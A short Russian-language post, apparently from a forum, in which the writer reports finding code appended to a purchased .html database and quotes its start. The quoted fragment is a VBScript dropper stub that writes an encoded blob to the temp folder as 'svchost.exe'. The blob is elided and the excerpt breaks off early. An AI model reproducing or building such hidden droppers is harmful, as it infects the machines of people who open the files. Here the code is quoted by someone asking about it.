В купленной мной базе формата .html был ввёден код в конце базы:
DropFileName = "svchost.exe"
WriteData = " *тут огромный незамысловатый набор букв и цифр* "
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If...